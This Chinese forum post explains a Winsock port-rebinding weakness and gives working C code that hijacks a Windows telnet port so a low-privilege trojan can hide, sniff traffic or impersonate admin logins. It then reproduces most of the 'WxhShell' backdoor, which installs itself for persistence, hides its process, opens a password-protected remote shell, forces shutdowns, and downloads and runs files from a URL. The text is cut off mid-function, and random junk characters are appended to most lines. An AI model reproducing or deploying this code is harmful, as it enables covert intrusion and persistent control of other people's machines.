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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: u1gD*4+  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }u8g7Nj  
9R">l5u  
  saddr.sin_family = AF_INET; R#i`H(N  
2a;[2':  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ZvLI~ul(zT  
'v@*xF/L6a  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); @=%g{  
`4?|yp.|L  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 >3*a&_cI=k  
~1aM5Ba{  
  这意味着什么?意味着可以进行如下的攻击: JNT|h zV  
F@HJ3O9  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 |tU wlc>  
rxs:)# ?A  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) f3 imkZ(  
_0ZU I^#  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 k)[c!\a[i  
}346uF7C  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Bz|/TV?X(  
e+<|  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 I-=Ieq"R9  
*yY\d.6(  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 GZHJ 4|DK  
^go3F{; 4i  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 oad /xbp@/  
Jl6lZd(Np  
  #include p$ETAvD  
  #include j/F('r~L  
  #include kem(U{m  
  #include    A`Rs n\  
  DWORD WINAPI ClientThread(LPVOID lpParam);   F\v~2/J5v  
  int main() So75h*e  
  { rg=Ym.  
  WORD wVersionRequested; K`j:F>b  
  DWORD ret; aL&9.L|1 g  
  WSADATA wsaData; NTO.;S|2%  
  BOOL val; ]>ndFE6kl  
  SOCKADDR_IN saddr; #_|O93HN'  
  SOCKADDR_IN scaddr; g_! xD;0  
  int err; uRYq.`v,  
  SOCKET s; 5iI(A'R[7  
  SOCKET sc; ~w9`l8/0  
  int caddsize; zD<8.AIGC  
  HANDLE mt; 0P!Fci/t  
  DWORD tid;   /"8|26  
  wVersionRequested = MAKEWORD( 2, 2 ); $dWYu"2C D  
  err = WSAStartup( wVersionRequested, &wsaData ); US"UkY-\  
  if ( err != 0 ) { 9Zmq7a E  
  printf("error!WSAStartup failed!\n"); |7Ab_  
  return -1; 9]lyV  
  } )D)4=LJ  
  saddr.sin_family = AF_INET; {t.S_|IE  
   RTDplv; ]  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 A0,e3gb  
_ b</ ::Tp  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); hs:iyr]@9  
  saddr.sin_port = htons(23); ie>mOsz  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8J- ?bo  
  { 1)qD)E5&cf  
  printf("error!socket failed!\n"); }W(t> >  
  return -1; .<xD'54  
  } 0%Y}CDn_  
  val = TRUE; }f% Qk0^  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 [d-Y1  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) g:!R't?  
  { e\f\CMb  
  printf("error!setsockopt failed!\n"); &Vu-*?  
  return -1; (d* | |"  
  } QC&,C}t,  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; WS?Y8~+{5  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ?AQA>D#W  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ts("(zI1E  
^R)]_   
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 2$VSH&  
  { "DH>4Q] d  
  ret=GetLastError(); U!K#g_}  
  printf("error!bind failed!\n"); +x/vZXtOK  
  return -1; >6@,L+-6r  
  } &3x da1H  
  listen(s,2); Q`Q"p  
  while(1) `*`ZgTV  
  { _34%St!lg  
  caddsize = sizeof(scaddr); @v!#_%J  
  //接受连接请求 <^'IC9D]  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); }_mMQg2>=  
  if(sc!=INVALID_SOCKET) oIMS >&  
  { (H:A|Lw  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); fF=tT C  
  if(mt==NULL) 6D`.v@  
  { Y=O-^fL  
  printf("Thread Creat Failed!\n"); hd[t&?{=  
  break; 1jAuW~  
  } s8qpK; O  
  } Fpwhyls  
  CloseHandle(mt); Z!jJ93A"  
  } Ke]'RfO\  
  closesocket(s); qPJSVo  
  WSACleanup(); %K06owV(S)  
  return 0; +Jn\`4/J:  
  }   >IA1 \?(  
  DWORD WINAPI ClientThread(LPVOID lpParam) @+)T"5_Y[  
  { ]1|7V|N6  
  SOCKET ss = (SOCKET)lpParam; <Lt"e8Z>x  
  SOCKET sc; rSm#/)4A  
  unsigned char buf[4096]; gQ%mVJB{(  
  SOCKADDR_IN saddr; 8DbP$Wwi  
  long num; Ge=\IAj  
  DWORD val; 'WBhW5@  
  DWORD ret; b^()[4M;  
  //如果是隐藏端口应用的话,可以在此处加一些判断 PL!dkaD^y>  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ~ahu{A4Bw  
  saddr.sin_family = AF_INET; CyB4apJ  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); <1:I[b  
  saddr.sin_port = htons(23); 4!-R&<TLve  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Z@$'fX?~9  
  { `Hv"^o  
  printf("error!socket failed!\n"); 1=!2|D:C)i  
  return -1; !YlEXaS  
  } &Fjyi"8(r  
  val = 100; : t75iB=  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) bxBndxl  
  { 7 n^1H[q  
  ret = GetLastError(); cS@p`A7Tpo  
  return -1; 8493O x4 O  
  } i=pfjC  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) cf*~G x_l  
  { c? GV  
  ret = GetLastError(); f.E{s*z>  
  return -1; jZvIqR/  
  } se}$/Y}t  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) hewc5vrL  
  { P=9UK`n  
  printf("error!socket connect failed!\n"); &zVXd  
  closesocket(sc); IlI5xkJ(  
  closesocket(ss); Mii&doU  
  return -1; 9y} J|z  
  } > %Hw008  
  while(1) 6x/o j`_[  
  { [biz[ fm  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Zw%:mZN  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 +UTBiB R  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ; vWJOvM2  
  num = recv(ss,buf,4096,0); fjuPGg~  
  if(num>0) *#@{&Q(Qh  
  send(sc,buf,num,0); ,:V[H8 ?  
  else if(num==0) 1:./f|m  
  break; I?%#`Rvu  
  num = recv(sc,buf,4096,0); iU=:YPE+ .  
  if(num>0) u09D`QPP]  
  send(ss,buf,num,0); +>c%I&h}`  
  else if(num==0) +#A~O4%t  
  break; /len8FRf  
  } beV+3HqB8  
  closesocket(ss); DiZv sc  
  closesocket(sc); #!_ViG )2^  
  return 0 ; ="Az g8W  
  } <A`SC;k\u  
km`";gUp>  
Pi,86?  
========================================================== iuM ,a F  
rsw= a_S  
下边附上一个代码,,WXhSHELL x8wsx F  
w^7[4u4  
========================================================== X76rme  
_6]CT0  
#include "stdafx.h" - &)  
,ZO?D|M1  
#include <stdio.h> XB:E<I'q!3  
#include <string.h> 4s"x}c">F  
#include <windows.h> ' 8Q }pp`  
#include <winsock2.h> NpbZt;%t  
#include <winsvc.h> fl4'dv  
#include <urlmon.h> =vDDfPR  
`}a-prT<f  
#pragma comment (lib, "Ws2_32.lib") u%OLXb  
#pragma comment (lib, "urlmon.lib") #H5 +8W  
77]lp mC  
#define MAX_USER   100 // 最大客户端连接数 tZ*>S]qD  
#define BUF_SOCK   200 // sock buffer lACS^(  
#define KEY_BUFF   255 // 输入 buffer b'ir$RL] c  
a'*~E ?b  
#define REBOOT     0   // 重启 >{Xyl):  
#define SHUTDOWN   1   // 关机 @B?'Mu*  
tdp>vI!  
#define DEF_PORT   5000 // 监听端口 CE| *&G  
O>" |5 wj  
#define REG_LEN     16   // 注册表键长度 8hSw4S "$  
#define SVC_LEN     80   // NT服务名长度 7x*C` Et<x  
p`!<yq2_  
// 从dll定义API DV*e.Y>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); y`7b3*P  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :01B)~^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @Yw42`> !s  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8zjJshE/  
_5OxESE  
// wxhshell配置信息 *h pS/g/3\  
struct WSCFG { R(f%*S4  
  int ws_port;         // 监听端口 -f?,%6(1  
  char ws_passstr[REG_LEN]; // 口令 1].m4vC  
  int ws_autoins;       // 安装标记, 1=yes 0=no /NuO>kQa  
  char ws_regname[REG_LEN]; // 注册表键名 k? ,/om1  
  char ws_svcname[REG_LEN]; // 服务名 6.|[;>Km  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .5A .[ZY)  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 C0ORB p  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 A+fXt`YNM  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =t|,6Vp  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7dR]$ ~+*e  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 I y5)SZ'  
\"Qa)1 |  
}; w.+G+ r=  
~{{7y]3M-  
// default Wxhshell configuration `84,R!  
struct WSCFG wscfg={DEF_PORT, gTd r  
    "xuhuanlingzhe", h66mzV:`  
    1, {Z>Mnw"R  
    "Wxhshell", \#C]|\  
    "Wxhshell", EK\xc'6M  
            "WxhShell Service", [LV>z  
    "Wrsky Windows CmdShell Service", vSCJ xSt#e  
    "Please Input Your Password: ", 8LY^>.  
  1, )d{fDwrx1  
  "http://www.wrsky.com/wxhshell.exe", C[><m2T  
  "Wxhshell.exe" F8\JL %  
    }; V~$?]Z%_  
hdH3Jb_hl(  
// 消息定义模块 FgR9$ is+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; B& 5Md.h  
char *msg_ws_prompt="\n\r? for help\n\r#>"; bH%d*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; L9!\\U  
char *msg_ws_ext="\n\rExit."; I:;umyRH  
char *msg_ws_end="\n\rQuit."; ? 0:=+%.  
char *msg_ws_boot="\n\rReboot..."; L3s"L.G  
char *msg_ws_poff="\n\rShutdown..."; EbJc%%c  
char *msg_ws_down="\n\rSave to "; XXXQAY-,C  
YmHu8H_Q  
char *msg_ws_err="\n\rErr!"; o,/wE  
char *msg_ws_ok="\n\rOK!"; z0&Y_Up+5  
Kv ajk~  
char ExeFile[MAX_PATH]; \Y6r !D9  
int nUser = 0; :xY9eq=  
HANDLE handles[MAX_USER]; 0aJcX)  
int OsIsNt; (Dx p  
N7^sn!JB  
SERVICE_STATUS       serviceStatus; f`[E^ zj  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; iAt&927  
BP1<:T'.q`  
// 函数声明 &@w0c>Y  
int Install(void); 9vCCE[9  
int Uninstall(void); _KZ TY`/*  
int DownloadFile(char *sURL, SOCKET wsh); uSH_=^yTQ  
int Boot(int flag); .kB!',v\  
void HideProc(void); vb9C&#  
int GetOsVer(void); ,G[Y< ~Hy  
int Wxhshell(SOCKET wsl); a&7uRR26  
void TalkWithClient(void *cs); VDiW9]  
int CmdShell(SOCKET sock); p@oz[017/J  
int StartFromService(void); b&9~F6aM  
int StartWxhshell(LPSTR lpCmdLine); StiWa<"c  
x }]"jj2x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); D J7U6{KLq  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |FSp`P  
 hV fANbs  
// 数据结构和表定义 X3?RwN:P  
SERVICE_TABLE_ENTRY DispatchTable[] = !x")uYf  
{ =VV><^uzdY  
{wscfg.ws_svcname, NTServiceMain}, $KP&#;9  
{NULL, NULL} 7j88^59  
}; ?}(B8^  
%8xKBL]J  
// 自我安装 ,E"n7*6mr  
int Install(void) Tl1H2s=G-  
{ 'LR|DS[Ne  
  char svExeFile[MAX_PATH]; v4XEp   
  HKEY key; }hcY5E-n  
  strcpy(svExeFile,ExeFile); o4agaA3k  
`A-  
// 如果是win9x系统,修改注册表设为自启动 vhDtjf/*  
if(!OsIsNt) { M(n@ytz  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u-QHV1H`(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6MLjU1  
  RegCloseKey(key); OP\L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $oPc,zS-gL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,wngS=  
  RegCloseKey(key); )jh~jU?c@  
  return 0; e\!Aoky  
    } yI^7sf7k  
  } R*2F)e\|  
} .Ad9(s  
else { \9`.jB~<  
*Rxn3tR7  
// 如果是NT以上系统,安装为系统服务 !'B='].  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \u;`Lf  
if (schSCManager!=0) 3 rR1/\  
{ +,j6dYub  
  SC_HANDLE schService = CreateService IR8yE`(h  
  ( 7y_<BCx h  
  schSCManager, QlS_{XV  
  wscfg.ws_svcname, s'bTP(wl9  
  wscfg.ws_svcdisp, 1-E utq  
  SERVICE_ALL_ACCESS, v:n[H]K|  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +,TrJg  
  SERVICE_AUTO_START, EK&0Cn3z  
  SERVICE_ERROR_NORMAL, )JJF}m=  
  svExeFile, ls~9qkAyLx  
  NULL, #)3 B  
  NULL, "2p\/VfA  
  NULL, ~wO-Hgd  
  NULL, p|@#IoA/e  
  NULL '*Ld,`  
  ); }$ Kd-cj+  
  if (schService!=0) CTxP3a9]  
  { ae](=OQ  
  CloseServiceHandle(schService); /Z[HU{4  
  CloseServiceHandle(schSCManager); /rky  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :zNNtv iA  
  strcat(svExeFile,wscfg.ws_svcname); A 6 `a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { cIcu=U  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !Uv>>MCr  
  RegCloseKey(key); l]gW_wUQd  
  return 0; q([{WZ:6Oq  
    } ZB} A^X  
  } oxdX2"WwU  
  CloseServiceHandle(schSCManager); B{p74 >  
} #%w)w R3  
} Z] x6np  
mI]gDL1  
return 1; 5"X@<;H%  
} d24_,o\_  
?'tRu !~  
// 自我卸载 lD-2 5~YV  
int Uninstall(void) 7 |GSs=  
{ 1N<n)>X4  
  HKEY key; z 4;@"B  
\A)Pcc}7  
if(!OsIsNt) { ` U-vXP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ZX#60o8  
  RegDeleteValue(key,wscfg.ws_regname); |o'r?"  
  RegCloseKey(key); Zxozhmg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZOpKi:\  
  RegDeleteValue(key,wscfg.ws_regname); 2e03m62*  
  RegCloseKey(key); ,eWLig  
  return 0;  1'F!C  
  } EVC]B}  
} M|zTs\1I  
} drk BW}_  
else { CGkx_E]  
B^/k`h6J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); o\; hF3   
if (schSCManager!=0) \9uK^oS  
{ uPjp5;V  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); gXM+N(M-  
  if (schService!=0) xA`j:zn'j  
  { F^`+.G\  
  if(DeleteService(schService)!=0) { Nwe-7/Q  
  CloseServiceHandle(schService); yqVoedN  
  CloseServiceHandle(schSCManager); *M_^I)*L  
  return 0; <q>d@Foi  
  } &]shBvzl^  
  CloseServiceHandle(schService); cbs ;  
  } '@Yp@ _  
  CloseServiceHandle(schSCManager); 7[UD;&\k  
} \ 9iiS(e  
} gNc;P[  
gS@<sO$d>  
return 1; y.6/x?Qc  
} Z0<s -eN:  
w=a$]`  
// 从指定url下载文件 .U44p*I  
int DownloadFile(char *sURL, SOCKET wsh) es~1@Jb  
{ 3^xq+{\)  
  HRESULT hr; &U7h9o H  
char seps[]= "/"; 1N:~5S}s>  
char *token; i]L=M 5^C  
char *file; rHk,OC  
char myURL[MAX_PATH]; WiZTE(NM`  
char myFILE[MAX_PATH]; .l5-i@=W  
. UH'U\M  
strcpy(myURL,sURL); N u\<Xr8  
  token=strtok(myURL,seps); f-ceDn  
  while(token!=NULL) Dln1 R[  
  { 9%"`9j~H>  
    file=token; 1uCF9P ai  
  token=strtok(NULL,seps); >tx[UF@P@  
  } SM2N3"\  
Bq1}"092  
GetCurrentDirectory(MAX_PATH,myFILE); ewHs ]V+U  
strcat(myFILE, "\\"); !n P4S)A  
strcat(myFILE, file); Q\T?t  
  send(wsh,myFILE,strlen(myFILE),0); ^8J`*R8CL  
send(wsh,"...",3,0); 6EO@ Xf7,  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); VX>j2Z'  
  if(hr==S_OK) 5Pxx)F9]  
return 0; .Eb]}8/}E  
else ~PpDrJ; Va  
return 1; 4*Gv0#dga  
41s\^'^&  
} v Y0ESc{  
8DY:a['-d  
// 系统电源模块 pek=!nZ  
int Boot(int flag) V*5v JF0j  
{ !c1M{klP  
  HANDLE hToken; ".waCt6  
  TOKEN_PRIVILEGES tkp; +^&i(7a[?  
R5%CK_  
  if(OsIsNt) { dUt4] ar  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); RA[%8Rh)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 12m-$/5n+  
    tkp.PrivilegeCount = 1; Uzc p  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6H5o/)Q~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); pe2:~}WB  
if(flag==REBOOT) { w6)Q5H53)  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) f1+  
  return 0; VB#&`]r do  
} @"1Z;.S8V  
else { .4tu{\YX  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) P:N> #G~z  
  return 0; <\O8D0.d  
} $eG_LY 1v  
  } _X mxBtk9f  
  else { 6M_:D  
if(flag==REBOOT) { _aF8Us  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) D,[Nn_N  
  return 0; ]'M B3@T  
} UcOP 0_/  
else { ZfH>UHft  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8ih_S2Cd  
  return 0; D7JrGaF{  
} $u'"C|>8  
} ;UM(y@  
S50}]5K  
return 1; Z]oGE@! n"  
} mH0OW  
W=w]`'  
// win9x进程隐藏模块 saQs<1  
void HideProc(void) VHMQY*lk  
{ 0Xw>_#Y/xS  
1[u{y{9 q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !<HMMf,-D  
  if ( hKernel != NULL ) H!u8+  
  { [fV"tf;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); M j6,VD9L  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (a8iCci:   
    FreeLibrary(hKernel); 2[uFAgf@  
  } 1'Q6l  
L 6fbR-&Lt  
return; 8.N`^Nj 1  
} $p4e8j[EJ  
G9LWnyQt  
// 获取操作系统版本 Sw,*#98  
int GetOsVer(void) 58HA*w  
{ 6Aq]I$  
  OSVERSIONINFO winfo; GD]epr%V  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); b @0= &4  
  GetVersionEx(&winfo); 3di;lzGq  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) T 4p}5ew'  
  return 1; ?%qaoxG37  
  else e98QT9  
  return 0; Y6H?ZOq  
} D"$Y, d  
&*ocr&  
// 客户端句柄模块 _cWuRvY  
int Wxhshell(SOCKET wsl) -Yh(bS l  
{ ,f>9oOqqA  
  SOCKET wsh; ^>Z_3 {s:$  
  struct sockaddr_in client; 8h@L_*Kr  
  DWORD myID; ]k^?=  
2|& S2uq  
  while(nUser<MAX_USER) { +w.Z,D"  
{ F0z7".)  
  int nSize=sizeof(client); .'_}:~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); : slO0  
  if(wsh==INVALID_SOCKET) return 1; 9?hZf$z  
B= ~y(Mb  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $w{d4")  
if(handles[nUser]==0) 'uDx$AkY  
  closesocket(wsh); Ui (nMEon  
else Fj~suZ`  
  nUser++; %aMC[i  
  } =<p=?16 x  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `x#S. b  
P(b[|QF  
  return 0; 0RMW>v/7kL  
} hk:>*B}  
sL~4 ~178  
// 关闭 socket !E?+1WDS0  
void CloseIt(SOCKET wsh) d4  \  
{ 6',Hs  
closesocket(wsh); zQ{bMj<S  
nUser--; Wq<oP  
ExitThread(0); F I[BZZW  
} QY&c=bWAX"  
@W/k}<07  
// 客户端请求句柄 p|A ?F0  
void TalkWithClient(void *cs) JN+7o h]u  
{ p<L{e~{!7f  
MQx1|>rG  
  SOCKET wsh=(SOCKET)cs; ?2~fvMWu  
  char pwd[SVC_LEN]; lW-h @  
  char cmd[KEY_BUFF]; {\0V$#q   
char chr[1]; @XM*N7  
int i,j; 'Gc{cNbXIA  
Z^%a 1>`  
  while (nUser < MAX_USER) { saiXFM 7J  
3w"JzC@  
if(wscfg.ws_passstr) { vu^mLc  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !(?7V  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )AkBo  
  //ZeroMemory(pwd,KEY_BUFF); &T0]tzk*,  
      i=0; 6wWhM&Wd  
  while(i<SVC_LEN) { YlbX_h2S"  
>wmHCOL:  
  // 设置超时 C 4C /  
  fd_set FdRead; ^U5N!"6R  
  struct timeval TimeOut; }aE'  
  FD_ZERO(&FdRead); xO>z )3A  
  FD_SET(wsh,&FdRead); WVpx  
  TimeOut.tv_sec=8; Oj_]`  
  TimeOut.tv_usec=0; qna!j|90Lp  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )M+po-6$1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {!wW,3|Pu  
7AT8QC`u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }#ta3 x  
  pwd=chr[0]; IS(F_< .  
  if(chr[0]==0xd || chr[0]==0xa) { QR"+fzOL  
  pwd=0; 9G SpDc  
  break; 3\j`g  
  } >xS({1A}  
  i++; nfHjIYid  
    } bk<Rp84vL  
"0jwCX Cu  
  // 如果是非法用户,关闭 socket Q%d%Io\-t  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); erUK; +2g  
} 3c6e$/  
:23S%B~X  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 83Rs1}*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ya\:C]   
3 5.&!4}  
while(1) { G-9i   
1] =X  
  ZeroMemory(cmd,KEY_BUFF); lPxhqF5pP  
T})q/oUqK  
      // 自动支持客户端 telnet标准   J~WT;s  
  j=0; iQ:eR]7X  
  while(j<KEY_BUFF) { %?].( Lc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L%Zr3Ct  
  cmd[j]=chr[0]; K)>F03=uE  
  if(chr[0]==0xa || chr[0]==0xd) { (["kbPma  
  cmd[j]=0; pu/5#[MC)^  
  break; ;.sYE/ZVi  
  } ^_@[1'^  
  j++; 'a+^= c  
    } {Dl@/fz  
z;oia!9z  
  // 下载文件 TxF^zx\  
  if(strstr(cmd,"http://")) { "i#g [x  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4y3c=L No  
  if(DownloadFile(cmd,wsh)) v"yu7tZ3N  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); B2]52Fg-"  
  else V{oFig 6  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VNT?  
  } bLG7{qp  
  else { ])F+ C/Px1  
B7'#8heDh  
    switch(cmd[0]) { $}tF66d  
  kEC^_sO"  
  // 帮助 "*<vE7  
  case '?': { "}xIt)n%;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +u$JMp  
    break; lBFKfLp&  
  } q>BJ:_I i  
  // 安装 9:@Xz5  
  case 'i': { {f`Y\_r$@  
    if(Install()) }WFI /W'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zW#5 /*@  
    else Za!KM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^$'z#ZN1  
    break; z4BU}`;b3t  
    } MnFrQC  
  // 卸载 hu0z 36  
  case 'r': { _J,rql@nG<  
    if(Uninstall()) .qohHJ&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  ;303fS  
    else cSYCMQ1ro  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2_u+&7  
    break; Z ;rM@x  
    } %XukiA+  
  // 显示 wxhshell 所在路径 }(u:K}8  
  case 'p': { PRiE2Di2S  
    char svExeFile[MAX_PATH]; kZ@UQ{>`  
    strcpy(svExeFile,"\n\r"); ${z#{c1  
      strcat(svExeFile,ExeFile); MMKN^a"GA  
        send(wsh,svExeFile,strlen(svExeFile),0); V1M|p!  
    break; `=hCS0F  
    } meV Z_f/  
  // 重启 <B|b'XVH2  
  case 'b': { $Q#n'#c  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); rucw{) _  
    if(Boot(REBOOT)) Tf5m YCk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T:kliM"z  
    else { ;6hoG(3 +  
    closesocket(wsh); In?+  
    ExitThread(0); v=G*K11@  
    } wX2U   
    break; "!P h  
    } $S<B\\ %  
  // 关机  /d|:  
  case 'd': { i9Bh<j>:J  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); j"~"-E(79  
    if(Boot(SHUTDOWN)) ~{{S<S v  
